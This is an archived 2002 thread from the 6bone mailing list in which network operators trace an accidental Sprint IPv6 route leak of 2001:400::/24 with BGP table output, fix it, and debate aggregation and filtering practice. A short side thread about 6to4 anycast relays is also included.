From bmanning@ISI.EDU Mon Jul 29 23:09:01 2002
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Subject:  Re: [6bone] Re: routing concern 
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> 
> Bill,
> 
> > Thats antisocial, esp since we have no relationship
> > with them. 
> 
> With all due respect, do you feel the power of the incarnation of evil
> now?
> 
> Michel.
> 

What are you talking about Michel?  

You mean the completely asinine practice of proxy aggregation?
Or the more inane practice of locally aggregating things you have
zero knowledge of or business relationship with?
Or the sheep-like "aggregation is good" mantra that has been coming
out of the IETF for a while?

People should not aggregate things that are not part of their delegation.
End of Discussion.

questions about "power" and "incarnation of evil" are better raised
in the context of movie reviews of "Goldmember" or "PowerPuff Girls"



-- 
"When in doubt, Twirl..."  -anon

From rrockell@sprint.net Tue Jul 30 05:40:41 2002
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Fixed.

Explanation:  We redistribute static (with route-map) in order to aggregate,
so we keep Null0 static routes on each core router, to make sure that we
inject the aggregate.   When building new routers, at some point recently
one of the IPv6 team here must have fat-fingered the mask for our 6bone
delegation, and applied it to our ARIN delegation.  This is now corrected:

sl-bb1v6-rly#sho bgp ipv 2001:400::/24
BGP routing table entry for 2001:400::/24, version 56
Paths: (2 available, best #2)
  Advertised to non peer-group peers:
  2001:440:6175:3::1 3FFE:900:0:1C::1 3FFE:A00:2:2::9 3FFE:B00:C18::E
  3FFE:C00:8023:29::1 3FFE:1CFF:0:EC::1 3FFE:28FF:FFFF:1::114
3FFE:2900:1::2D
  3FFE:2900:1:4::2 3FFE:2900:1:5::2 3FFE:2900:1:9::2 3FFE:2900:1:F::2
  3FFE:2900:1:10::2 3FFE:2900:5:5::2 3FFE:2900:A:1::2 3FFE:2900:A:4::2
  3FFE:2900:A:6::2 3FFE:2900:A:7::2 3FFE:2900:A:A::2 3FFE:2900:A:B::2
  3FFE:2900:B:7::2 3FFE:2900:B:B::2 3FFE:2900:B:E::2 3FFE:2900:C:3::2
  3FFE:2900:C:5::2 3FFE:2900:C:7::2 3FFE:2900:C:C::2 3FFE:2900:C:F::2
  3FFE:2900:D:6::2 3FFE:2900:D:E::2 3FFE:2900:E:2::2 3FFE:2900:E:3::2
  3FFE:2900:E:C::2 3FFE:2900:F:C::2 3FFE:2900:F:E::2 3FFE:2D00:1::F
3FFE:3600::3
  3FFE:8000:FFFF:29::1
  Local
    2001:440:6175:4::1 (metric 63) from 2001:440:6175:4::1 (144.228.240.145)
     Origin IGP, localpref 100, valid, internal
  Local
    2001:440:6175:2::1 (metric 20) from 2001:440:6175:2::1 (208.11.232.40)
      Origin IGP, localpref 100, valid, internal, best

and null routes removed:

sl-bb1v6-rly#sho bgp ipv 2001:400::/24
BGP routing table entry for 2001:400::/24, version 3963
Paths: (0 available, no best path)
Flag: 0x820
  Not advertised to any peer


apologies for attempted assimilation of other people's ARIN delegations :)

We'll tighten 'er down a bit today.

Bill, if you aren't getting enough routes from us, send me personal mail,
and we'll fix for you.

Thanks
Rob Rockell
SprintLink International
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Mon, 29 Jul 2002 bmanning@karoshi.com wrote:

->> > > But AS6175 (SPRINT) is announcing 2001:400::/24.
->> > >
->> > Hello,
->> >      it wasn't a typo, they are announcing a /24, which include your space.
->> >
->>
->> 	Thats antisocial, esp since we have no relationship with
->> 	them.
->>
->> --bill
->
->
->	Could the folks injecting the /24 here -PLEASE- adjust it
->	accordingly. Since ARIN is delegating /35 and /32 prefixes,
->	this is (to put it nicely) overly agressive aggregation.
->	Either that, or please provide me with the rest of the transit
->	that is being annouced to the rest of the 6bone.  I'll
->	be happy to have you provision circuits to my POP.
->
->--bill
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From rfurda@best.ca Tue Jul 30 05:46:09 2002
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Date: Tue, 30 Jul 2002 14:43:34 +0200
To: 6bone@mailman.isi.edu
From: Richard Furda <rfurda@best.ca>
Subject: Re: [6bone] 6to4 anycast in US instead of Switzerland?
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	Hello,

On Mon, 29 Jul 2002, John D Smerdon wrote:
 > I have a SDSL connection at home and have been using 6to4.  My
 > provider is Concentric/XO and when using the 6to4 anycast address,
 > my first hop on ipv6 is switch.ch.
 >
 > Is anyone offering 6to4 anycast in the US, preferably in the midwest,
 > or by a peer of XO in Chicago IL?

I am on the west coast, yet, your DSL gw is father in terms of hops
than switch.ch.

 > If there is a closer 6to4 anycast network, would it be reasonable
 > for me to request XO to preference a different AS in their BGP for
 > the 6to4 anycast network?

Try 6to4.ipv6.fubar.ca [24.80.32.252]

	Richard


From rrockell@sprint.net Tue Jul 30 05:57:27 2002
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For the record, I agree with Bill's statement on proxy-aggregation.  While I
think Aggregation IS good, I would scope "IS" to prefixes that one owns,
and has authority over.  The Sprint example was not over-aggressive
aggregation... It was over agressive subnet mask, via fat-finger, with
under-aggresive redistribution route-map :)

Thanks
Rob Rockell
SprintLink International
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Mon, 29 Jul 2002, Bill Manning wrote:

->
->>
->> Bill,
->>
->> > Thats antisocial, esp since we have no relationship
->> > with them.
->>
->> With all due respect, do you feel the power of the incarnation of evil
->> now?
->>
->> Michel.
->>
->
->What are you talking about Michel?
->
->You mean the completely asinine practice of proxy aggregation?
->Or the more inane practice of locally aggregating things you have
->zero knowledge of or business relationship with?
->Or the sheep-like "aggregation is good" mantra that has been coming
->out of the IETF for a while?
->
->People should not aggregate things that are not part of their delegation.
->End of Discussion.
->
->questions about "power" and "incarnation of evil" are better raised
->in the context of movie reviews of "Goldmember" or "PowerPuff Girls"
->
->
->
->--
->"When in doubt, Twirl..."  -anon
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From bmanning@ISI.EDU Tue Jul 30 06:21:15 2002
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Subject: Re: [6bone] Re: routing concern
In-Reply-To: <Pine.GSO.4.33.0207300856430.21584-100000@iscserv1> from "Robert J. Rockell" at "Jul 30, 2 08:58:11 am"
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I appologise for my outburst and appreciate your prompt response.

-- 
--bill

From tvo@EnterZone.Net Tue Jul 30 07:21:38 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: "Robert J. Rockell" <rrockell@sprint.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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> sl-bb1v6-rly#sho bgp ipv 2001:400::/24
> BGP routing table entry for 2001:400::/24, version 3963
> Paths: (0 available, no best path)
> Flag: 0x820
>   Not advertised to any peer
> 

Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
implementation.  I don't see the route direct from 6175 and I trust from
the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
is holding on to the prefix (and redistributing it) for dear life!


Border2-BGP> sh ipv6 bgp 2001:400::/24
BGP routing table entry for 2001:400::/24
Paths: (4 available, best #3, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
  3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
  3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
  3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
  6435 2549 513 3265 4538 6175
    3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, localpref 100, valid, external
      Last update: Tue Jul 30 08:38:19 2002

  4554 109 513 3265 4538 6175
    3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
    (fe80::c620:401)
      Origin IGP, metric 1, localpref 100, valid, external
      Last update: Tue Jul 30 08:38:37 2002

  109 513 3265 4538 6175
    3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
      Origin IGP, localpref 100, valid, external, best
      Last update: Tue Jul 30 08:38:35 2002

  22 109 513 3265 4538 6175
    3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
    (fe80::c6fd:1c3b)
      Origin IGP, localpref 100, valid, external
      Last update: Tue Jul 30 08:38:42 2002



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Tue Jul 30 07:53:03 2002
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> Looks like someone out there (?513? ?3265? ?4538?) is running broken
> a BGP implementation.  I don't see the route direct from 6175 and I
> trust from the output above that 6175 isn't announcing it but,
> (?513? ?3265? ?4538?) is holding on to the prefix (and redistributing
> it) for dear life!

If it was not for the fact that the AS-PATH is not a mile long it would
look much like the MRTd withdraw bug again. A variant?

Michel.


From pim@ipng.nl Tue Jul 30 07:59:35 2002
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Subject: Re: [6bone] Re: routing concern
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On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
| > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
| > BGP routing table entry for 2001:400::/24, version 3963
| > Paths: (0 available, no best path)
| > Flag: 0x820
| >   Not advertised to any peer
| > 
| 
| Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
| implementation.  I don't see the route direct from 6175 and I trust from
| the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
| is holding on to the prefix (and redistributing it) for dear life!
Just to be sure. AS3265 are junipers at AMS-IX (nl.xs4all) and there are
no current known issues with IPv6/BGP on this platform.

I can't say for sure if there are problems with CERN (AS513) and I've
never even heard of CERNET-BKB (AS4538). I myself don't see
2001:400::/24 anymore in my tables (AS8954, AS12859)

 

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From michel@arneill-py.sacramento.ca.us Tue Jul 30 08:16:26 2002
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Subject: RE:  Re: [6bone] Re: routing concern 
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Bill,

> questions about "power" and "incarnation of evil" are better
> raised in the context of movie reviews of "Goldmember" or
> "PowerPuff Girls"

Ahem, is it why you posted the following text here last week?

> Bill Manning wrote:
> Some ISPs beleive that this is evil incarnate and agressivly
> filter. Others are more pragmatic and will adjust as their needs
> dictate.

I see double standard here. You can use "evil incarnate", but I can't
use "incarnation of evil". You can bitch about seing a /24 you don't
like in the routing table but we can't bitch when we see some /48 we
don't like.


Bill, you are a respected member of this community, but it is not enough
to tell ISPs what they should do, especially when they lobby to respect
RFCs. 

And, if you don't want this mailing list to have movie reviews in it,
don't begin by using them yourself.

Michel.


From erik@xs4all.nl Tue Jul 30 08:16:31 2002
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Date: Tue, 30 Jul 2002 17:16:25 +0200
From: Erik Bos <erik@xs4all.net>
To: 6bone@ISI.EDU
Cc: John Fraizer <tvo@EnterZone.Net>
Subject: Re: [6bone] Re: routing concern
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On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
> > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
> > BGP routing table entry for 2001:400::/24, version 3963
> > Paths: (0 available, no best path)
> > Flag: 0x820
> >   Not advertised to any peer
> > 
> 
> Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
> implementation.  I don't see the route direct from 6175 and I trust from
> the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
> is holding on to the prefix (and redistributing it) for dear life!

We, AS3265, receive it from from AS1275:

sh bgp ipv6 2001:400::/24
BGP routing table entry for 2001:400::/24, version 799862
Paths: (1 available, best #1)
  Advertised to peer-groups:
     XS4ALL-IPv6
  1275 5623 9044 10566 6175, (received & used)
    3FFE:401:0:1::27:1 from 3FFE:401:0:1::27:1 (128.176.191.66)
      Origin IGP, localpref 100, valid, external, best

sh bgp ipv6 neighbors 3FFE:401:0:1::27:1 received-routes | begin 2001:400::/24
*> 2001:400::/24    3FFE:401:0:1::27:1
                                                           0 1275 5623 9044 10566 6175 i

The box is running Cisco ios 12.2(8)T2.

> Border2-BGP> sh ipv6 bgp 2001:400::/24
> BGP routing table entry for 2001:400::/24
> Paths: (4 available, best #3, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
>   3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
>   3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
>   3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
>   6435 2549 513 3265 4538 6175
>     3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
>     (fe80::4041:4098)
>       Origin IGP, localpref 100, valid, external
>       Last update: Tue Jul 30 08:38:19 2002
> 
>   4554 109 513 3265 4538 6175
>     3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
>     (fe80::c620:401)
>       Origin IGP, metric 1, localpref 100, valid, external
>       Last update: Tue Jul 30 08:38:37 2002
> 
>   109 513 3265 4538 6175
>     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
>       Origin IGP, localpref 100, valid, external, best
>       Last update: Tue Jul 30 08:38:35 2002
> 
>   22 109 513 3265 4538 6175
>     3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
>     (fe80::c6fd:1c3b)
>       Origin IGP, localpref 100, valid, external
>       Last update: Tue Jul 30 08:38:42 2002
> 
> 
> 
> ---
> John Fraizer              | High-Security Datacenter Services |
> EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From jmj@dxcoms.cern.ch Tue Jul 30 09:50:26 2002
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Date: Tue, 30 Jul 2002 18:50:17 +0200 (MET DST)
From: Joop Joosten <Joop.Joosten@cern.ch>
Reply-To: Joop Joosten <Joop.Joosten@cern.ch>
To: Erik Bos <erik@xs4all.net>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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Folks, 

I received 2001:400::/24 from a number of places and I announced it to
some peers, because of an old filter (shame on me). I think it is fixed
now. 

Joop..

On Tue, 30 Jul 2002, Erik Bos wrote:

> On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
> > > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
> > > BGP routing table entry for 2001:400::/24, version 3963
> > > Paths: (0 available, no best path)
> > > Flag: 0x820
> > >   Not advertised to any peer
> > > 
> > 
> > Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
> > implementation.  I don't see the route direct from 6175 and I trust from
> > the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
> > is holding on to the prefix (and redistributing it) for dear life!
> 
> We, AS3265, receive it from from AS1275:
> 
> sh bgp ipv6 2001:400::/24
> BGP routing table entry for 2001:400::/24, version 799862
> Paths: (1 available, best #1)
>   Advertised to peer-groups:
>      XS4ALL-IPv6
>   1275 5623 9044 10566 6175, (received & used)
>     3FFE:401:0:1::27:1 from 3FFE:401:0:1::27:1 (128.176.191.66)
>       Origin IGP, localpref 100, valid, external, best
> 
> sh bgp ipv6 neighbors 3FFE:401:0:1::27:1 received-routes | begin 2001:400::/24
> *> 2001:400::/24    3FFE:401:0:1::27:1
>                                                            0 1275 5623 9044 10566 6175 i
> 
> The box is running Cisco ios 12.2(8)T2.
> 
> > Border2-BGP> sh ipv6 bgp 2001:400::/24
> > BGP routing table entry for 2001:400::/24
> > Paths: (4 available, best #3, table Default-IP-Routing-Table)
> >   Advertised to non peer-group peers:
> >   2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
> >   3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
> >   3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
> >   3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
> >   6435 2549 513 3265 4538 6175
> >     3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
> >     (fe80::4041:4098)
> >       Origin IGP, localpref 100, valid, external
> >       Last update: Tue Jul 30 08:38:19 2002
> > 
> >   4554 109 513 3265 4538 6175
> >     3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
> >     (fe80::c620:401)
> >       Origin IGP, metric 1, localpref 100, valid, external
> >       Last update: Tue Jul 30 08:38:37 2002
> > 
> >   109 513 3265 4538 6175
> >     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
> >       Origin IGP, localpref 100, valid, external, best
> >       Last update: Tue Jul 30 08:38:35 2002
> > 
> >   22 109 513 3265 4538 6175
> >     3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
> >     (fe80::c6fd:1c3b)
> >       Origin IGP, localpref 100, valid, external
> >       Last update: Tue Jul 30 08:38:42 2002
> > 
> > 
> > 
> > ---
> > John Fraizer              | High-Security Datacenter Services |
> > EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
> > http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
> > 
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


 +-----------------------------------------------------------------------+
 |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
 |Tel: +4122 767 3361;  Fax: +4122 767 7155;  Email: Joop.Joosten@cern.ch|
 +-----------------------------------------------------------------------+



From rrockell@sprint.net Tue Jul 30 10:29:18 2002
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So being that this was our fault, perhaps I can find some silver lining?

-sprint messed up their configs
-most of 6bone was still loose enough to see it.

While I take full responsibility for this, this is a good learning
experience. If you saw this bad route, you were not filtering correctly (as
sprint was not).

Perhaps a testiment to the work that still needs to be done, if only to
provide a baseline from which we can actually address the issues with
multi-homing, aggregation, etc.. (i.e. we haven't even been sufficiently
responsible to properly show how broken ipv6 is at this point).




Thanks
Rob Rockell
SprintLink International
(+1) 703-689-6322
Sprint IP Services
-----------------------------------------------------------------------

On Tue, 30 Jul 2002, Joop Joosten wrote:

->Folks,
->
->I received 2001:400::/24 from a number of places and I announced it to
->some peers, because of an old filter (shame on me). I think it is fixed
->now.
->
->Joop..
->
->On Tue, 30 Jul 2002, Erik Bos wrote:
->
->> On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
->> > > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
->> > > BGP routing table entry for 2001:400::/24, version 3963
->> > > Paths: (0 available, no best path)
->> > > Flag: 0x820
->> > >   Not advertised to any peer
->> > >
->> >
->> > Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
->> > implementation.  I don't see the route direct from 6175 and I trust from
->> > the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
->> > is holding on to the prefix (and redistributing it) for dear life!
->>
->> We, AS3265, receive it from from AS1275:
->>
->> sh bgp ipv6 2001:400::/24
->> BGP routing table entry for 2001:400::/24, version 799862
->> Paths: (1 available, best #1)
->>   Advertised to peer-groups:
->>      XS4ALL-IPv6
->>   1275 5623 9044 10566 6175, (received & used)
->>     3FFE:401:0:1::27:1 from 3FFE:401:0:1::27:1 (128.176.191.66)
->>       Origin IGP, localpref 100, valid, external, best
->>
->> sh bgp ipv6 neighbors 3FFE:401:0:1::27:1 received-routes | begin 2001:400::/24
->> *> 2001:400::/24    3FFE:401:0:1::27:1
->>                                                            0 1275 5623 9044 10566 6175 i
->>
->> The box is running Cisco ios 12.2(8)T2.
->>
->> > Border2-BGP> sh ipv6 bgp 2001:400::/24
->> > BGP routing table entry for 2001:400::/24
->> > Paths: (4 available, best #3, table Default-IP-Routing-Table)
->> >   Advertised to non peer-group peers:
->> >   2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
->> >   3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
->> >   3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
->> >   3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
->> >   6435 2549 513 3265 4538 6175
->> >     3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
->> >     (fe80::4041:4098)
->> >       Origin IGP, localpref 100, valid, external
->> >       Last update: Tue Jul 30 08:38:19 2002
->> >
->> >   4554 109 513 3265 4538 6175
->> >     3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
->> >     (fe80::c620:401)
->> >       Origin IGP, metric 1, localpref 100, valid, external
->> >       Last update: Tue Jul 30 08:38:37 2002
->> >
->> >   109 513 3265 4538 6175
->> >     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
->> >       Origin IGP, localpref 100, valid, external, best
->> >       Last update: Tue Jul 30 08:38:35 2002
->> >
->> >   22 109 513 3265 4538 6175
->> >     3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
->> >     (fe80::c6fd:1c3b)
->> >       Origin IGP, localpref 100, valid, external
->> >       Last update: Tue Jul 30 08:38:42 2002
->> >
->> >
->> >
->> > ---
->> > John Fraizer              | High-Security Datacenter Services |
->> > EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
->> > http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
->> >
->> >
->> > _______________________________________________
->> > 6bone mailing list
->> > 6bone@mailman.isi.edu
->> > http://mailman.isi.edu/mailman/listinfo/6bone
->> >
->> _______________________________________________
->> 6bone mailing list
->> 6bone@mailman.isi.edu
->> http://mailman.isi.edu/mailman/listinfo/6bone
->>
->
->
-> +-----------------------------------------------------------------------+
-> |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
-> |Tel: +4122 767 3361;  Fax: +4122 767 7155;  Email: Joop.Joosten@cern.ch|
-> +-----------------------------------------------------------------------+
->
->
->_______________________________________________
->6bone mailing list
->6bone@mailman.isi.edu
->http://mailman.isi.edu/mailman/listinfo/6bone
->


From bmanning@ISI.EDU Tue Jul 30 10:57:37 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: routing concern
In-Reply-To: <Pine.GSO.4.33.0207301327040.21584-100000@iscserv1> from "Robert J. Rockell" at "Jul 30, 2 01:30:01 pm"
To: rrockell@sprint.net (Robert J. Rockell)
Date: Tue, 30 Jul 2002 10:57:29 -0700 (PDT)
Cc: Joop.Joosten@cern.ch, 6bone@ISI.EDU
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 Good plans for moving forward. 


% So being that this was our fault, perhaps I can find some silver lining?
% 
% -sprint messed up their configs
% -most of 6bone was still loose enough to see it.
% 
% While I take full responsibility for this, this is a good learning
% experience. If you saw this bad route, you were not filtering correctly (as
% sprint was not).
% 
% Perhaps a testiment to the work that still needs to be done, if only to
% provide a baseline from which we can actually address the issues with
% multi-homing, aggregation, etc.. (i.e. we haven't even been sufficiently
% responsible to properly show how broken ipv6 is at this point).
% 
% 
% 
% 
% Thanks
% Rob Rockell
% SprintLink International
% (+1) 703-689-6322
% Sprint IP Services
% -----------------------------------------------------------------------
% 
% On Tue, 30 Jul 2002, Joop Joosten wrote:
% 
% ->Folks,
% ->
% ->I received 2001:400::/24 from a number of places and I announced it to
% ->some peers, because of an old filter (shame on me). I think it is fixed
% ->now.
% ->
% ->Joop..
% ->
% ->On Tue, 30 Jul 2002, Erik Bos wrote:
% ->
% ->> On Tue, Jul 30, 2002 at 10:21:29AM -0400, John Fraizer wrote:
% ->> > > sl-bb1v6-rly#sho bgp ipv 2001:400::/24
% ->> > > BGP routing table entry for 2001:400::/24, version 3963
% ->> > > Paths: (0 available, no best path)
% ->> > > Flag: 0x820
% ->> > >   Not advertised to any peer
% ->> > >
% ->> >
% ->> > Looks like someone out there (?513? ?3265? ?4538?) is running broken a BGP
% ->> > implementation.  I don't see the route direct from 6175 and I trust from
% ->> > the output above that 6175 isn't announcing it but, (?513? ?3265? ?4538?)
% ->> > is holding on to the prefix (and redistributing it) for dear life!
% ->>
% ->> We, AS3265, receive it from from AS1275:
% ->>
% ->> sh bgp ipv6 2001:400::/24
% ->> BGP routing table entry for 2001:400::/24, version 799862
% ->> Paths: (1 available, best #1)
% ->>   Advertised to peer-groups:
% ->>      XS4ALL-IPv6
% ->>   1275 5623 9044 10566 6175, (received & used)
% ->>     3FFE:401:0:1::27:1 from 3FFE:401:0:1::27:1 (128.176.191.66)
% ->>       Origin IGP, localpref 100, valid, external, best
% ->>
% ->> sh bgp ipv6 neighbors 3FFE:401:0:1::27:1 received-routes | begin 2001:400::/24
% ->> *> 2001:400::/24    3FFE:401:0:1::27:1
% ->>                                                            0 1275 5623 9044 10566 6175 i
% ->>
% ->> The box is running Cisco ios 12.2(8)T2.
% ->>
% ->> > Border2-BGP> sh ipv6 bgp 2001:400::/24
% ->> > BGP routing table entry for 2001:400::/24
% ->> > Paths: (4 available, best #3, table Default-IP-Routing-Table)
% ->> >   Advertised to non peer-group peers:
% ->> >   2001:4f0::1 2001:630:0:f001::1 3ffe:1ced:ff02::2 3ffe:1ced:ff06::2
% ->> >   3ffe:1ced:ff07::2 3ffe:1ced:ff0a::2 3ffe:2900:d:e::1
% ->> >   3ffe:31ff:0:ffff::50 3ffe:4005:0:1::26 3ffe:80c0:200:5::36
% ->> >   3ffe:8160:0:1::c 3ffe:81d0:ffff:2::44
% ->> >   6435 2549 513 3265 4538 6175
% ->> >     3ffe:8160:0:1::c from 3ffe:8160:0:1::c (64.65.64.152)
% ->> >     (fe80::4041:4098)
% ->> >       Origin IGP, localpref 100, valid, external
% ->> >       Last update: Tue Jul 30 08:38:19 2002
% ->> >
% ->> >   4554 109 513 3265 4538 6175
% ->> >     3ffe:1ced:ff06::2 from 3ffe:1ced:ff06::2 (192.0.1.1)
% ->> >     (fe80::c620:401)
% ->> >       Origin IGP, metric 1, localpref 100, valid, external
% ->> >       Last update: Tue Jul 30 08:38:37 2002
% ->> >
% ->> >   109 513 3265 4538 6175
% ->> >     3ffe:c00:8023:4::1 from 3ffe:c00:8023:4::1 (128.107.240.254)
% ->> >       Origin IGP, localpref 100, valid, external, best
% ->> >       Last update: Tue Jul 30 08:38:35 2002
% ->> >
% ->> >   22 109 513 3265 4538 6175
% ->> >     3ffe:1ced:ff05::2 from 3ffe:1ced:ff05::2 (198.253.28.59)
% ->> >     (fe80::c6fd:1c3b)
% ->> >       Origin IGP, localpref 100, valid, external
% ->> >       Last update: Tue Jul 30 08:38:42 2002
% ->> >
% ->> >
% ->> >
% ->> > ---
% ->> > John Fraizer              | High-Security Datacenter Services |
% ->> > EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
% ->> > http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
% ->> >
% ->> >
% ->> > _______________________________________________
% ->> > 6bone mailing list
% ->> > 6bone@mailman.isi.edu
% ->> > http://mailman.isi.edu/mailman/listinfo/6bone
% ->> >
% ->> _______________________________________________
% ->> 6bone mailing list
% ->> 6bone@mailman.isi.edu
% ->> http://mailman.isi.edu/mailman/listinfo/6bone
% ->>
% ->
% ->
% -> +-----------------------------------------------------------------------+
% -> |     Joop Joosten, IT Division, CERN, 1211 Geneva 23, Switzerland      |
% -> |Tel: +4122 767 3361;  Fax: +4122 767 7155;  Email: Joop.Joosten@cern.ch|
% -> +-----------------------------------------------------------------------+
% ->
% ->
% ->_______________________________________________
% ->6bone mailing list
% ->6bone@mailman.isi.edu
% ->http://mailman.isi.edu/mailman/listinfo/6bone
% ->
% 
% _______________________________________________
% 6bone mailing list
% 6bone@mailman.isi.edu
% http://mailman.isi.edu/mailman/listinfo/6bone
% 


-- 
--bill

From michel@arneill-py.sacramento.ca.us Tue Jul 30 11:13:43 2002
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> Robert J. Rockell wrote:
> -sprint messed up their configs

As I said before, the 6bone is the right place for this. Has anyone been
hurt? Anyone lost money? The lessons we collectively learn each time
someone messes up a route are far more valuable than the consequences of
messing up the route.

Can anyone here say they never messed up a config anyway?


> -most of 6bone was still loose enough to see it.
> While I take full responsibility for this, this is a good
> learning experience. If you saw this bad route, you were not
> filtering correctly (as sprint was not).

There is a phenomenon that we should not ignore here:

I saw the route. The reason I did not filter it is not because I don't
know how to, but because it is more interesting to me to actually see
that kind of thing rather than filtering it.

I don't think I'm the only one. As long as the curiosity / learning
factor is more important than occasional problems, it is unfortunate to
say that we might continue to see loose filtering.


> Perhaps a testiment to the work that still needs to be done, if
> only to provide a baseline from which we can actually address the
> issues with multi-homing, aggregation, etc.. (i.e. we haven't even
> been sufficiently responsible to properly show how broken ipv6 is
> at this point).

Concur.


As this appears to be a genuine "fat fingers" mistake, my take on it is
as follows:
I know exactly what I'm doing when I don't filter the route. If *my*
IPv6 routing goes down because Rob made a mistake, it's my fault
(because I did not filter) and not Rob's (because mistakes do happen).

Michel.


From rrockell@sprint.net Tue Jul 30 11:34:28 2002
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->As this appears to be a genuine "fat fingers" mistake, my take on it is
->as follows:
->I know exactly what I'm doing when I don't filter the route. If *my*
->IPv6 routing goes down because Rob made a mistake, it's my fault
->(because I did not filter) and not Rob's (because mistakes do happen).

agree, and disagree,

This was one objection to 2772 when it was first brought it up way back in
(Orlando?) IETF.  I disagree. One can have fun with their own network, or
with networks that collectively agree to have fun.  You having fun, and then
passing on your 'fun' to another network who is not interested, is bad mojo.
For this reason, you will notice the 2772 uses MUST in places, with a
backdoor of something to the effect of "unless otherwise agreed upon by your
connection partner".

so, I don't want to have fun with any of my peers/customers (or more
correctly, I am not at the current time engaged in any organized learning
initiative with any entity outside of AS6175) so please filter me strictly.

